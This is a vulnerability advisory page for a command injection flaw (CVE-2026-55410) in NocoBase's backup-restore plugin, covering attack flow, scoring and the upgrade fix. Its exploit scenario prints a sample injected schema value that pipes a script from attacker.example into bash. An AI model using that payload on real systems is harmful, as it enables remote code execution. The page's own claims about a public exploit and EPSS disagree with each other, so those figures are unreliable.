Skip to main content

NocoBase EUVDEUVD-2026-44804

| CVE-2026-55410 MEDIUM
OS Command Injection (CWE-78)
2026-07-15 GitHub_M GHSA-p853-83gj-wjj3
6.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise backup management account
  2. Delivery
    Craft backup archive with malicious database.schema in _metadata.json
  3. Exploit
    Upload crafted archive to NocoBase instance
  4. Execution
    Trigger backup restore operation via plugin UI
  5. Persist
    Server interpolates schema value into exec() shell string
  6. Impact
    Execute arbitrary OS commands as NocoBase server process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The @nocobase/plugin-backups plugin must be installed and enabled, and the NocoBase instance must use a PostgreSQL backend - the injection occurs specifically in the PostgreSQL backup restore code path and does not affect other database types. The attacker must hold a NocoBase account with backup management (restore) permissions, corresponding to PR:H in the CVSS vector; standard unprivileged user accounts cannot initiate restore operations. The attacker must also be able to supply a crafted backup archive containing the malicious _metadata.json - either by creating one locally or by having write access to the backup storage location. Limiting factors: the PR:H prerequisite rules out unauthenticated exploitation and limits exposure to insider threat or credential-compromise scenarios; the PostgreSQL requirement limits scope to a subset of deployments; non-default plugin installation is required.

Impact

CVSS 3.1 scores this at 6.7 (Medium) with vector AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H. The PR:H metric is the primary risk dampener - exploitation requires control of a backup management account, excluding opportunistic unauthenticated attackers. Attack complexity is low once credentials are obtained: no race conditions, special timing, or environmental prerequisites exist beyond the privilege requirement. The C:L rating in the vendor-provided vector is arguably conservative; arbitrary OS command execution as the server process typically implies full confidentiality loss (access to environment variables, config files, database credentials), which is why this analysis independently assesses C:H. No EPSS data was provided in the input - this cannot be stated. Not listed in CISA KEV and no public POC identified at time of analysis, meaning real-world exploitation has not been publicly observed. The realistic threat model is insider threat (a user with backup management rights acting maliciously), compromised credentials, or use of this vulnerability as a post-exploitation step after gaining a lower-privileged NocoBase account through other means. This is a real priority for any NocoBase deployment using PostgreSQL that has multiple users with backup management permissions.

Exploit ScenarioDerived

An attacker who holds (or has compromised) a NocoBase backup management account crafts a backup archive whose _metadata.json contains a malicious database.schema value such as public; curl http://attacker.example/shell.sh | bash #. The attacker uploads the archive and initiates a restore operation via the NocoBase UI. The server reads the schema value and interpolates it into an exec() shell command string without sanitization, causing the injected command to execute as the NocoBase server process - potentially establishing a reverse shell or exfiltrating database credentials. No public POC has been identified at time of analysis, but the mechanism is well-understood and the backup format is documented.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

Command injection in NocoBase's @nocobase/plugin-backups prior to v2.1.19 allows an authenticated backup-management user to execute arbitrary OS commands as the NocoBase server process by restoring a crafted backup archive. The database.schema field from a backup's _metadata.json is interpolated directly into a shell command string passed to Node.js child_process.exec(), a classic CWE-78 pattern that bypasses any sanitization at the shell level. No active exploitation confirmed (not in CISA KEV) and no public exploit identified at time of analysis, but the commit diff confirms the mechanism is straightforward and the fix is available in v2.1.19.

RemediationAI

Upgrade to NocoBase v2.1.19 or later, which resolves this vulnerability by replacing child_process.exec() with child_process.spawn() (discrete argument array form) in the backup plugin's PostgreSQL restore path, confirmed by commit 0e1aba1b7b112ffc841588963f7343c00edd9806. The release is available at https://github.com/nocobase/nocobase/releases/tag/v2.1.19 and the advisory is at https://github.com/nocobase/nocobase/security/advisories/GHSA-p853-83gj-wjj3. If immediate upgrade is not possible, disable the @nocobase/plugin-backups plugin entirely - this eliminates the attack surface with the trade-off of losing all backup and restore functionality. As an additional compensating control, restrict the backup management role to the minimum number of trusted accounts and audit who holds that privilege, since exploitation requires that specific role. Never restore backup archives from untrusted or externally supplied sources regardless of patch status.

Affected VersionsENISA

nocobase < 2.1.19

Affected Packages

npm @nocobase/plugin-backups fix: 2.1.19
euvd nocobase fix: 2.1.19

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the NocoBase backup plugin (@nocobase/plugin-backups), which uses Node.js child_process.exec() to invoke PostgreSQL utilities (pg_dump/pg_restore) during backup and restore operations. The exec() API passes its first argument as a full shell command string to /bin/sh, making it inherently susceptible to shell metacharacter injection when any part of the command is derived from untrusted input. The database.schema value read from _metadata.json inside the backup archive is controlled by whoever created the archive - an attacker can embed shell metacharacters (e.g., '; malicious_command #') to break out of the intended command context. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause class. The fix migrates to child_process.spawn() with discrete argument arrays, which bypasses the shell entirely and is the canonical Node.js remediation for this class. CPE: cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:* (all versions prior to 2.1.19, PostgreSQL backend). The vulnerability does not affect non-PostgreSQL database backends as the injection is in the PostgreSQL-specific restore path.

Know when Nocobase gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.7 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H
vuln.today AI 7.2 HIGH

RCE as server process yields full confidentiality loss (C:H not C:L); all other metrics align with the description and PR:H requirement.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jul 15, 2026 - 22:33 EUVD

DescriptionCVE.org

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Prevalence
Low
niche no-code/low-code platform, limited enterprise footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

54
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy